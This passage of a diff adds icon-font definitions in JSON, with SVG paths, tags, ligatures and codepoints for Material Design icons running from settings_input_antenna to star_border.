146-146v-140c-38-16-64-54-64-98 0-58 48-106 106-106s106 48 106 106c0 44-26 82-64 98zM512 214c166 0 298 132 298 298h-84c0-118-96-214-214-214s-214 96-214 214h-84c0-166 132-298 298-298z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "settings_input_antenna" + ], + "defaultCode": 59583, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "settings_input_antenna", + "id": 671, + "order": 682, + "prevSize": 24, + "code": 59583, + "name": "settings_input_antenna" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 671 + }, + { + "icon": { + "paths": [ + "M726 682v-84h256v84c0 56-36 102-86 120v180h-86v-180c-50-18-84-64-84-120zM554 86v170h86v256h-256v-256h86v-170c0-24 18-44 42-44s42 20 42 44zM896 256h86v256h-256v-256h84v-170c0-24 20-44 44-44s42 20 42 44v170zM42 682v-84h256v84c0 56-34 102-84 120v180h-86v-180c-50-18-86-64-86-120zM384 682v-84h256v84c0 56-36 102-86 120v180h-84v-180c-50-18-86-64-86-120zM214 86v170h84v256h-256v-256h86v-170c0-24 18-44 42-44s44 20 44 44z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "settings_input_composite" + ], + "defaultCode": 59585, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "settings_input_component, settings_input_composite", + "id": 672, + "order": 683, + "prevSize": 24, + "code": 59585, + "name": "settings_input_composite" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 672 + }, + { + "icon": { + "paths": [ + "M342 170v128h84v-84h44v84h84v-84h44v84h84v-128h-340zM768 298h42v256l-128 256v128h-340v-128l-128-256v-256h42v-128c0-46 40-84 86-84h340c46 0 86 38 86 84v128z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "settings_input_hdmi" + ], + "defaultCode": 59586, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "settings_input_hdmi", + "id": 673, + "order": 684, + "prevSize": 24, + "code": 59586, + "name": "settings_input_hdmi" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 673 + }, + { + "icon": { + "paths": [ + "M662 640c36 0 64 28 64 64s-28 64-64 64-64-28-64-64 28-64 64-64zM746 426c36 0 64 28 64 64s-28 64-64 64-64-28-64-64 28-64 64-64zM512 896c212 0 384-172 384-384s-172-384-384-384-384 172-384 384 172 384 384 384zM512 42c258 0 470 212 470 470s-212 470-470 470-470-212-470-470 212-470 470-470zM362 640c36 0 64 28 64 64s-28 64-64 64-64-28-64-64 28-64 64-64zM640 278c0 36-28 64-64 64h-128c-36 0-64-28-64-64s28-64 64-64h128c36 0 64 28 64 64zM342 490c0 36-28 64-64 64s-64-28-64-64 28-64 64-64 64 28 64 64z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "settings_input_svideo" + ], + "defaultCode": 59587, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "settings_input_svideo", + "id": 674, + "order": 685, + "prevSize": 24, + "code": 59587, + "name": "settings_input_svideo" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 674 + }, + { + "icon": { + "paths": [ + "M896 812v-600h-768v600h768zM896 128c46 0 86 40 86 86v596c0 46-40 86-86 86h-768c-46 0-86-40-86-86v-596c0-46 40-86 86-86h768zM598 682l-86 108-86-108h172zM256 426v172l-106-86zM768 426l106 86-106 86v-172zM512 234l86 108h-172z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "settings_overscan" + ], + "defaultCode": 59588, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "settings_overscan", + "id": 675, + "order": 686, + "prevSize": 24, + "code": 59588, + "name": "settings_overscan" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 675 + }, + { + "icon": { + "paths": [ + "M810 384h86v86h-86v-86zM854 662c24 0 42 18 42 42v150c0 24-18 42-42 42-400 0-726-326-726-726 0-24 18-42 42-42h150c24 0 42 18 42 42 0 54 8 104 24 152 4 14 2 32-10 44l-94 94c62 120 162 220 282 282l94-94c12-12 30-14 44-10 48 16 98 24 152 24zM726 384v86h-86v-86h86zM554 384v86h-84v-86h84z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "settings_phone" + ], + "defaultCode": 59589, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "settings_phone", + "id": 676, + "order": 687, + "prevSize": 24, + "code": 59589, + "name": "settings_phone" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 676 + }, + { + "icon": { + "paths": [ + "M640 1024v-86h86v86h-86zM706 190c88 62 148 164 148 280 0 188-154 340-342 340s-342-152-342-340c0-116 60-218 148-280l60 60c-74 46-122 128-122 220 0 142 114 256 256 256s256-114 256-256c0-92-50-174-124-218zM554 86v426h-84v-426h84zM470 1024v-86h84v86h-84zM298 1024v-86h86v86h-86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "settings_power" + ], + "defaultCode": 59590, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "settings_power", + "id": 677, + "order": 688, + "prevSize": 24, + "code": 59590, + "name": "settings_power" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 677 + }, + { + "icon": { + "paths": [ + "M512 0c130 0 248 52 332 138l-60 60c-70-70-166-112-272-112s-202 42-272 112l-60-60c84-84 202-138 332-138zM300 258c54-54 130-88 212-88s158 34 212 88l-60 60c-38-38-94-62-152-62s-114 24-152 62zM512 640c46 0 86-40 86-86s-40-84-86-84-86 38-86 84 40 86 86 86zM640 384c24 0 42 18 42 42v512c0 24-18 44-42 44h-256c-24 0-42-20-42-44v-512c0-24 18-42 42-42h256z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "settings_remote" + ], + "defaultCode": 59591, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "settings_remote", + "id": 678, + "order": 689, + "prevSize": 24, + "code": 59591, + "name": "settings_remote" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 678 + }, + { + "icon": { + "paths": [ + "M896 812v-600h-768v600h768zM896 128c46 0 86 40 86 86v596c0 46-40 86-86 86h-768c-46 0-86-40-86-86v-596c0-46 40-86 86-86h768zM384 682c-70 0-128-58-128-128 0-66 50-120 114-126h8c24-50 74-86 134-86 76 0 138 56 148 128h2c58 0 106 48 106 106s-48 106-106 106h-278z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "settings_system_daydream" + ], + "defaultCode": 57795, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "settings_system_daydream", + "id": 679, + "order": 690, + "prevSize": 24, + "code": 57795, + "name": "settings_system_daydream" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 679 + }, + { + "icon": { + "paths": [ + "M810 426c0 146-116 268-256 288v140h-84v-140c-140-20-256-142-256-288h72c0 128 108 218 226 218s226-90 226-218h72zM640 1024v-86h86v86h-86zM470 1024v-86h84v86h-84zM512 554c-70 0-128-58-128-128v-256c0-70 58-128 128-128s128 58 128 128v256c0 70-58 128-128 128zM298 1024v-86h86v86h-86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "settings_voice" + ], + "defaultCode": 59592, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "settings_voice", + "id": 680, + "order": 691, + "prevSize": 24, + "code": 59592, + "name": "settings_voice" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 680 + }, + { + "icon": { + "paths": [ + "M768 686c68 0 124 56 124 124s-56 126-124 126-124-58-124-126c0-10 0-20 2-28l-302-176c-24 22-54 34-88 34-70 0-128-58-128-128s58-128 128-128c34 0 64 12 88 34l300-174c-2-10-4-20-4-30 0-70 58-128 128-128s128 58 128 128-58 128-128 128c-34 0-64-14-88-36l-300 176c2 10 4 20 4 30s-2 20-4 30l304 176c22-20 52-32 84-32z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "share" + ], + "defaultCode": 59405, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "share", + "id": 681, + "order": 692, + "prevSize": 24, + "code": 59405, + "name": "share2" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 681 + }, + { + "icon": { + "paths": [ + "M384 768l320-214-320-170v384zM426 170v86h172v-86h-172zM682 256h256v554c0 48-36 86-84 86h-684c-48 0-84-38-84-86v-554h256v-86c0-48 36-84 84-84h172c48 0 84 36 84 84v86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "shop" + ], + "defaultCode": 59593, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "shop", + "id": 682, + "order": 693, + "prevSize": 24, + "code": 59593, + "name": "shop" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 682 + }, + { + "icon": { + "paths": [ + "M512 640l234-170-234-128v298zM512 128v86h170v-86h-170zM768 214h214v468c0 48-38 86-86 86h-598c-48 0-84-38-84-86v-468h212v-86c0-48 38-86 86-86h170c48 0 86 38 86 86v86zM128 384v470h682c0 48-36 84-84 84h-598c-48 0-86-36-86-84v-470h86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "shop_two" + ], + "defaultCode": 59594, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "shop_two", + "id": 683, + "order": 694, + "prevSize": 24, + "code": 59594, + "name": "shop_two" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 683 + }, + { + "icon": { + "paths": [ + "M512 726c46 0 86-40 86-86s-40-86-86-86-86 40-86 86 40 86 86 86zM384 384h256l-128-188zM734 384h204c24 0 44 18 44 42-34.625 138.041-73.705 271.628-110 408-10 36-42 62-82 62h-556c-40 0-72-26-82-62l-108-396c-2-4-2-8-2-12 0-24 20-42 44-42h204l186-280c8-12 22-18 36-18s28 6 36 18z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "shopping_basket" + ], + "defaultCode": 59595, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "shopping_basket", + "id": 684, + "order": 695, + "prevSize": 24, + "code": 59595, + "name": "shopping_basket" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 684 + }, + { + "icon": { + "paths": [ + "M170 554h428v86h-428v-86zM170 384h684v86h-684v-86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "short_text" + ], + "defaultCode": 57953, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "short_text", + "id": 685, + "order": 696, + "prevSize": 24, + "code": 57953, + "name": "short_text" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 685 + }, + { + "icon": { + "paths": [ + "M150 788l-64-64 320-320 170 172 302-340 60 60-362 408-170-172z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "show_chart" + ], + "defaultCode": 59105, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "show_chart", + "id": 686, + "order": 697, + "prevSize": 24, + "code": 59105, + "name": "show_chart" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 686 + }, + { + "icon": { + "paths": [ + "M632 572l134 134 88-88v236h-236l88-88-134-134zM618 170h236v236l-88-88-536 536-60-60 536-536zM452 392l-60 60-222-222 60-60z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "shuffle" + ], + "defaultCode": 57411, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "shuffle", + "id": 687, + "order": 698, + "prevSize": 24, + "code": 57411, + "name": "shuffle" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 687 + }, + { + "icon": { + "paths": [ + "M86 938l852-852v852h-852z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "signal_cellular_4_bar" + ], + "defaultCode": 57800, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "signal_cellular_4_bar", + "id": 688, + "order": 699, + "prevSize": 24, + "code": 57800, + "name": "signal_cellular_4_bar" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 688 + }, + { + "icon": { + "paths": [ + "M86 938l852-852v256h-170v596h-682zM854 938v-84h84v84h-84zM854 768v-342h84v342h-84z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "signal_cellular_connected_no_internet_4_bar" + ], + "defaultCode": 57805, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "signal_cellular_connected_no_internet_4_bar", + "id": 689, + "order": 700, + "prevSize": 24, + "code": 57805, + "name": "signal_cellular_connected_no_internet_4_bar" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 689 + }, + { + "icon": { + "paths": [ + "M938 86v852h-852zM854 292l-562 562h562v-562z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "signal_cellular_null" + ], + "defaultCode": 57807, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "signal_cellular_null", + "id": 690, + "order": 701, + "prevSize": 24, + "code": 57807, + "name": "signal_cellular_null" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 690 + }, + { + "icon": { + "paths": [ + "M204 192l734 736-54 54-84-86h-758l378-378-270-272zM896 42v734l-366-366z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "signal_cellular_off" + ], + "defaultCode": 57808, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "signal_cellular_off", + "id": 691, + "order": 702, + "prevSize": 24, + "code": 57808, + "name": "signal_cellular_off" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 691 + }, + { + "icon": { + "paths": [ + "M512 916l-496-618c20-14 210-170 496-170s476 156 496 170z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "signal_wifi_4_bar" + ], + "defaultCode": 57816, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "signal_wifi_4_bar", + "id": 692, + "order": 703, + "prevSize": 24, + "code": 57816, + "name": "signal_wifi_4_bar" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 692 + }, + { + "icon": { + "paths": [ + "M662 618v112l-150 188-494-620c18-12 208-170 494-170s476 158 494 170l-88 112c-12-4-26-4-44-4-120 0-212 92-212 212zM938 682v-64c0-34-30-64-64-64s-64 30-64 64v64h128zM982 682c22 0 42 22 42 44v170c0 22-20 42-42 42h-214c-22 0-42-20-42-42v-170c0-22 20-44 42-44v-64c0-60 46-106 106-106s108 46 108 106v64z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "signal_wifi_4_bar_lock" + ], + "defaultCode": 57817, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "signal_wifi_4_bar_lock", + "id": 693, + "order": 704, + "prevSize": 24, + "code": 57817, + "name": "signal_wifi_4_bar_lock" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 693 + }, + { + "icon": { + "paths": [ + "M140 62c244.604 245.396 490.948 489.052 734 736l-54 54-142-142-166 206-496-618c10-8 64-52 156-94l-86-88zM1008 298l-232 290-442-440c54-12 114-20 178-20 286 0 476 156 496 170z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "signal_wifi_off" + ], + "defaultCode": 57818, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "signal_wifi_off", + "id": 694, + "order": 705, + "prevSize": 24, + "code": 57818, + "name": "signal_wifi_off" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 694 + }, + { + "icon": { + "paths": [ + "M726 640v-170h-86v170h86zM554 554v-84h-84v84h84zM554 810v-170h-84v170h84zM384 640v-170h-86v170h86zM726 810v-84h-86v84h86zM384 810v-84h-86v84h86zM852 170l2 684c0 46-40 84-86 84h-512c-46 0-86-38-86-84v-512l256-256h342c46 0 84 38 84 84z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "sim_card" + ], + "defaultCode": 58155, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "sim_card", + "id": 695, + "order": 706, + "prevSize": 24, + "code": 58155, + "name": "sim_card" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 695 + }, + { + "icon": { + "paths": [ + "M554 554v-212h-84v212h84zM554 726v-86h-84v86h84zM768 86c46 0 86 38 86 84v684c0 46-40 84-86 84h-512c-46 0-86-38-86-84l2-512 254-256h342z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "sim_card_alert" + ], + "defaultCode": 58916, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "sim_card_alert", + "id": 696, + "order": 707, + "prevSize": 24, + "code": 58916, + "name": "sim_card_alert" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 696 + }, + { + "icon": { + "paths": [ + "M682 256h86v512h-86v-512zM256 768v-512l362 256z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "skip_next" + ], + "defaultCode": 57412, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "skip_next", + "id": 697, + "order": 708, + "prevSize": 24, + "code": 57412, + "name": "skip_next" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 697 + }, + { + "icon": { + "paths": [ + "M406 512l362-256v512zM256 256h86v512h-86v-512z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "skip_previous" + ], + "defaultCode": 57413, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "skip_previous", + "id": 698, + "order": 709, + "prevSize": 24, + "code": 57413, + "name": "skip_previous" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 698 + }, + { + "icon": { + "paths": [ + "M810 810v-596h-596v596h596zM810 128c46 0 86 40 86 86v596c0 46-40 86-86 86h-596c-46 0-86-40-86-86v-596c0-46 40-86 86-86h596zM426 342l214 170-214 170v-340z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "slideshow" + ], + "defaultCode": 58395, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "slideshow", + "id": 699, + "order": 710, + "prevSize": 24, + "code": 58395, + "name": "slideshow" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 699 + }, + { + "icon": { + "paths": [ + "M938 512c0 220-168 402-382 424v-86c168-22 298-166 298-338s-130-316-298-338v-86c214 22 382 204 382 424zM242 842l60-60c48 36 106 60 168 68v86c-86-8-164-42-228-94zM174 554c8 62 32 120 68 166l-60 62c-52-64-86-142-94-228h86zM242 302c-36 48-60 106-68 168h-86c8-86 42-164 94-228zM470 174c-62 8-120 32-168 68l-60-60c64-52 142-86 228-94v86zM556 418l126 94c-85.639 63.694-170.958 127.709-256 192z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "slow_motion_video" + ], + "defaultCode": 57448, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "slow_motion_video", + "id": 700, + "order": 711, + "prevSize": 24, + "code": 57448, + "name": "slow_motion_video" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 700 + }, + { + "icon": { + "paths": [ + "M726 810v-596h-428v596h428zM726 44c46 0 84 38 84 84v768c0 46-38 86-84 86h-428c-46 0-84-40-84-86v-768c0-46 38-86 84-86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "stay_primary_portrait" + ], + "defaultCode": 57558, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "smartphone, stay_current_portrait, stay_primary_portrait", + "id": 701, + "order": 712, + "prevSize": 24, + "code": 57558, + "name": "stay_primary_portrait" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 701 + }, + { + "icon": { + "paths": [ + "M726 680l-126-126h126v126zM618 372c-78 0-142-66-142-144s64-142 142-142v64c-44 0-78 30-78 74s34 86 78 86h66c80 0 148 58 148 134v68h-64v-54c0-56-40-86-84-86h-66zM804 208c80 38 134 120 134 216v88h-64v-88c0-96-74-174-170-174v-64c44 0 78-36 78-80h64c0 40-16 76-42 102zM768 554h64v128h-64v-128zM874 554h64v128h-64v-128zM86 256l52-54 726 726-54 54-298-300h-426v-128h298z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "smoke_free" + ], + "defaultCode": 60234, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "smoke_free", + "id": 702, + "order": 713, + "prevSize": 24, + "code": 60234, + "name": "smoke_free" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 702 + }, + { + "icon": { + "paths": [ + "M684 436c80 0 148 56 148 134v70h-64v-56c0-56-40-86-84-86h-66c-78 0-142-66-142-144s64-142 142-142v64c-44 0-78 30-78 74s34 86 78 86h66zM804 330c80 38 134 120 134 214v96h-64v-96c0-96-74-172-170-172v-64c44 0 78-36 78-80s-34-78-78-78v-64c78 0 142 64 142 142 0 40-16 76-42 102zM768 682h64v128h-64v-128zM874 682h64v128h-64v-128zM86 682h640v128h-640v-128z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "smoking_rooms" + ], + "defaultCode": 60235, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "smoking_rooms", + "id": 703, + "order": 714, + "prevSize": 24, + "code": 60235, + "name": "smoking_rooms" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 703 + }, + { + "icon": { + "paths": [ + "M726 470v-86h-86v86h86zM554 470v-86h-84v86h84zM384 470v-86h-86v86h86zM854 86c46 0 84 38 84 84v512c0 46-38 86-84 86h-598l-170 170v-768c0-46 38-84 84-84h684z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "textsms" + ], + "defaultCode": 57560, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "sms, textsms", + "id": 704, + "order": 715, + "prevSize": 24, + "code": 57560, + "name": "textsms" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 704 + }, + { + "icon": { + "paths": [ + "M384 470v-86h256v76l-154 180h154v86h-256v-78l154-178h-154zM512 854c166 0 298-134 298-300s-132-298-298-298-298 132-298 298 132 300 298 300zM512 170c212 0 384 172 384 384s-172 384-384 384-384-172-384-384 172-384 384-384zM938 244l-54 66-196-166 54-64zM336 144l-196 164-54-64 196-164z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "snooze" + ], + "defaultCode": 57414, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "snooze", + "id": 705, + "order": 716, + "prevSize": 24, + "code": 57414, + "name": "snooze" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 705 + }, + { + "icon": { + "paths": [ + "M128 554v-84h512v84h-512zM128 256h768v86h-768v-86zM128 768v-86h256v86h-256z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "sort" + ], + "defaultCode": 57700, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "sort", + "id": 706, + "order": 717, + "prevSize": 24, + "code": 57700, + "name": "sort2" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 706 + }, + { + "icon": { + "paths": [ + "M672 688h260v68h-364v-54l252-366h-250v-68h354v54zM212 582h166l-84-222zM260 268h70l192 488h-78l-40-104h-218l-40 104h-78zM438 826h198l-100 100zM638 198h-202l100-100z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "sort_by_alpha" + ], + "defaultCode": 57427, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "sort_by_alpha", + "id": 707, + "order": 718, + "prevSize": 24, + "code": 57427, + "name": "sort_by_alpha" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 707 + }, + { + "icon": { + "paths": [ + "M660 410c-54 30-104 68-148 114-44-46-94-84-148-114 10-118 58-232 150-324 90 90 138 204 146 324zM86 426c190.34 0 343.492 108.446 426 234 82.593-125.685 235.712-234 426-234 0 226-142 418-342 490-28 10-54 16-84 22-30-4-58-12-84-22-200-72-342-264-342-490z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "spa" + ], + "defaultCode": 60236, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "spa", + "id": 708, + "order": 719, + "prevSize": 24, + "code": 60236, + "name": "spa" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 708 + }, + { + "icon": { + "paths": [ + "M768 384h86v256h-684v-256h86v170h512v-170z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "space_bar" + ], + "defaultCode": 57942, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "space_bar", + "id": 709, + "order": 720, + "prevSize": 24, + "code": 57942, + "name": "space_bar" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 709 + }, + { + "icon": { + "paths": [ + "M512 512c70 0 128 58 128 128s-58 128-128 128-128-58-128-128 58-128 128-128zM512 854c118 0 214-96 214-214s-96-214-214-214-214 96-214 214 96 214 214 214zM512 170c-48 0-86 40-86 86s38 86 86 86c46 0 86-40 86-86s-40-86-86-86zM726 86c46 0 84 38 84 84v684c0 46-38 84-84 84h-428c-46 0-84-38-84-84v-684c0-46 38-84 84-84h428z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "speaker" + ], + "defaultCode": 58157, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "speaker", + "id": 710, + "order": 721, + "prevSize": 24, + "code": 58157, + "name": "speaker" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 710 + }, + { + "icon": { + "paths": [ + "M256 214v682h426v86h-426c-48 0-86-40-86-86v-682h86zM490 534c0-58 50-108 108-108s106 50 106 108-48 106-106 106-108-48-108-106zM598 704c94 0 170-76 170-170s-76-172-170-172-172 78-172 172 78 170 172 170zM598 128c-46 0-86 38-86 86s40 84 86 84 84-36 84-84-38-86-84-86zM776 42c42 0 78 36 78 78v614c0 42-36 76-78 76h-358c-42 0-76-34-76-76v-614c0-42 34-78 76-78h358z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "speaker_group" + ], + "defaultCode": 58158, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "speaker_group", + "id": 711, + "order": 722, + "prevSize": 24, + "code": 58158, + "name": "speaker_group" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 711 + }, + { + "icon": { + "paths": [ + "M768 342v-86h-342v86h342zM768 470v-86h-342v86h342zM640 598v-86h-214v86h214zM342 342v-86h-86v86h86zM342 470v-86h-86v86h86zM342 598v-86h-86v86h86zM854 86c46 0 84 38 84 84v512c0 46-38 86-84 86h-598l-170 170v-768c0-46 38-84 84-84h684z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "speaker_notes" + ], + "defaultCode": 59597, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "speaker_notes", + "id": 712, + "order": 723, + "prevSize": 24, + "code": 59597, + "name": "speaker_notes" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 712 + }, + { + "icon": { + "paths": [ + "M854 86c46 0 84 38 84 84v512c0 46-36 84-82 86l-298-298h210v-86h-296l-42-42h338v-86h-342v82l-252-252h680zM256 470h86l-86-86v86zM342 598v-86h-86v86h86zM54 74l884 884-54 54-244-244h-384l-170 170v-724l-86-86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "speaker_notes_off" + ], + "defaultCode": 59690, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "speaker_notes_off", + "id": 713, + "order": 724, + "prevSize": 24, + "code": 59690, + "name": "speaker_notes_off" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 713 + }, + { + "icon": { + "paths": [ + "M640 854v-342h-256v342h256zM634 428c26 0 48 22 48 48v414c0 26-22 48-48 48h-244c-26 0-48-22-48-48v-414c0-26 22-50 48-50zM512 42c128 0 246 54 330 138l-60 60c-70-70-164-112-270-112s-200 42-270 112l-60-60c84-84 202-138 330-138zM298 302c54-54 130-88 214-88s160 34 214 88l-62 60c-38-38-92-62-152-62s-114 24-152 62z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "speaker_phone" + ], + "defaultCode": 57554, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "speaker_phone", + "id": 714, + "order": 725, + "prevSize": 24, + "code": 57554, + "name": "speaker_phone" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 714 + }, + { + "icon": { + "paths": [ + "M922 494l60 60-406 406-216-218 60-60 156 158zM274 470h176l-88-236zM532 682l-50-128h-240l-48 128h-90l218-554h80l218 554h-88z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "spellcheck" + ], + "defaultCode": 59598, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "spellcheck", + "id": 715, + "order": 726, + "prevSize": 24, + "code": 59598, + "name": "spellcheck" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 715 + }, + { + "icon": { + "paths": [ + "M512 658l160 96-42-182 142-124-188-16-72-172-72 172-188 16 142 124-42 182zM938 394l-232 202 70 300-264-160-264 160 70-300-232-202 306-26 120-282 120 282z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "star_border" + ], + "defaultCode": 59450, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "star_border", + "id": 716, + "order": 727, + "prevSize": 24, + "code": 59450, + "name": "star_border" + }, + 